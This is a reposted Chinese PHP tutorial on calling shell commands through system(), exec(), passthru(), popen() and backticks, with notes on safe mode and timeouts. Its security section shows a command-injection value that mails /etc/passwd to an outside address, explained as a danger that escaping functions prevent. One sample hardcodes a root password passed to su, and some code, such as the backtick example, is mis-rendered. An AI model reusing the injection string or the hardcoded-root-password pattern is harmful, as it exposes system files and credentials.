本人注：使用必須注意安全性問題，在後面我會列舉一些相關的php代碼審計。以下為轉載內容。
PHP作為一種服務器端的腳本語言，象編寫簡單，或者是復雜的動態網頁這樣的任務，它完全能夠勝任。但事情不總是如此，有時為了實現某個功能，必須借助於操作系統的外部程序（或者稱之為命令），這樣可以做到事半功倍。
區別:
system() 輸出並返回最後一行shell結果。
exec() 不輸出結果，返回最後一行shell結果，所有結果可以保存到一個返回的數組裡面。
passthru() 只調用命令，把命令的運行結果原樣地直接輸出到標准輸出設備上。
相同點：都可以獲得命令執行的狀態碼
demo:
//system('dir');
// exec ('dir');
// passthru ('dir');
// echo `dir`;
PHP作為一種服務器端的腳本語言，象編寫簡單，或者是復雜的動態網頁這樣的任務，它完全能夠勝任。但事情不總是如此，有時為了實現某個功能，必須借助於操作系統的外部程序（或者稱之為命令），這樣可以做到事半功倍。
那麼，是否可以在PHP腳本中調用外部命令呢？如果能，如何去做呢？有些什麼方面的顧慮呢？相信你看了本文後，肯定能夠回答這些問題了。
是否可以？
答案是肯定的。PHP和其它的程序設計語言一樣，完全可以在程序內調用外部命令，並且是很簡單的：只要用一個或幾個函數即可。
前提條件
由於PHP基本是用於WEB程序開發的，所以安全性成了人們考慮的一個重要方面。於是PHP的設計者們給PHP加了一個門：安全模式。如果運行在安全模式下，那麼PHP腳本中將受到如下四個方面的限制：
執行外部命令
在打開文件時有些限制
連接MySQL數據庫
基於HTTP的認證
在 安全模式下，只有在特定目錄中的外部程序才可以被執行，對其它程序的調用將被拒絕。這個目錄可以在php.ini文件中用 safe_mode_exec_dir指令，或在編譯PHP是加上--with-exec-dir選項來指定，默認是 /usr/local/php/bin。
如果你調用一個應該可以輸出結果的外部命令（意思是PHP腳本沒有錯誤），得到的卻是一片空白，那麼很可能你的網管已經把PHP運行在安全模式下了。
如何做？
在PHP中調用外部命令，可以用如下三種方法來實現：
1） 用PHP提供的專門函數
PHP提供共了3個專門的執行外部命令的函數：system()，exec()，passthru()。
system()
原型：string system (string command [, int return_var])
system()函數很其它語言中的差不多，它執行給定的命令，輸出和返回結果。第二個參數是可選的，用來得到命令執行後的狀態碼。
例子：
<?php
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型：string exec (string command [, string array [, int return_var]])
exec ()函數與system()類似，也執行給定的命令，但不輸出結果，而是返回結果的最後一行。雖然它只返回命令結果的最後一行，但用第二個參數array 可以得到完整的結果，方法是把結果逐行追加到array的結尾處。所以如果array不是空的，在調用之前最好用unset()最它清掉。只有指定了第二 個參數時，才可以用第三個參數，用來取得命令執行的狀態碼。
例子：
<?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()
原型：void passthru (string command [, int return_var])
passthru ()只調用命令，不返回任何結果，但把命令的運行結果原樣地直接輸出到標准輸出設備上。所以passthru()函數經常用來調用象pbmplus （Unix下的一個處理圖片的工具，輸出二進制的原始圖片的流）這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子：
<?php
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2） 用popen()函數打開進程
上面的方法只能簡單地執行命令，卻不能與命令交互。但有些時候必須向命令輸入一些東西，如在增加Linux的系統用戶時，要調用su來把當前用戶換到root才行，而su命令必須要在命令行上輸入root的密碼。這種情況下，用上面提到的方法顯然是不行的。
popen ()函數打開一個進程管道來執行給定的命令，返回一個文件句柄。既然返回的是一個文件句柄，那麼就可以對它讀和寫了。在PHP3中，對這種句柄只能做單一 的操作模式，要麼寫，要麼讀；從PHP4開始，可以同時讀和寫了。除非這個句柄是以一種模式（讀或寫）打開的，否則必須調用pclose()函數來關閉 它。
例子1：
<?php
$fp=popen("/bin/ls -l", "r");
?>
例子2：
<?php
/* PHP中如何增加一個系統用戶
下面是一段例程，增加一個名字為james的用戶,
root密碼是 verygood。僅供參考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3） 用反撇號（`，也就是鍵盤上ESC鍵下面的那個，和~在同一個上面）
這個方法以前沒有歸入PHP的文檔，是作為一個秘技存在的。方法很簡單，用兩個反撇號把要執行的命令括起來作為一個表達式，這個表達式的值就是命令執行的結果。如：
<?php $res='/bin/ls -l'; echo ' '.$res.' '; ?>
這個腳本的輸出就象：
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考慮些什麼？
要考慮兩個問題：安全性和超時。
先 看安全性。比如，你有一家小型的網上商店，所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件，讓你的用戶輸入他們的EMAIL地 址，然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數（或者從未聽說過），你就調用Linux/Unix系統的mail程序來發送這 個文件。程序就象這樣：
<?php
system("mail $to < products.txt");
echo "我們的產品目錄已經發送到你的信箱：$to";
?>
用這段代碼，一般的用戶不會產生什麼危險，但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址：
'--bla ; mail [email protected] < /etc/passwd ;'
那麼這條命令最終變成：
'mail --bla ; mail [email protected] < /etc/passwd ; < products.txt'
我相信，無論哪個網絡管理人員見到這樣的命令，都會嚇出一身冷汗來。
幸 好，PHP為我們提供了兩個函數：EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字符串 中所有可能瞞過Shell而去執行另外一個命令的字符轉義。這些字符在Shell中是有特殊含義的，象分號（），重定向（>）和從文件讀入 （<）等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字符串兩邊加上單引號，並把字符串中的單引號轉義，這樣這個字符串 就可以安全地作為命令的參數。
再來看看超時問題。如果要執行的命令要花費很長的時間，那麼應該把這個命令放到系統的後台去運 行。但在默認情況下，象system()等函數要等到這個命令運行完才返回（實際上是要等命令的輸出結果），這肯定會引起PHP腳本的超時。解決的辦法是 把命令的輸出重定向到另外一個文件或流中，如：
<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>
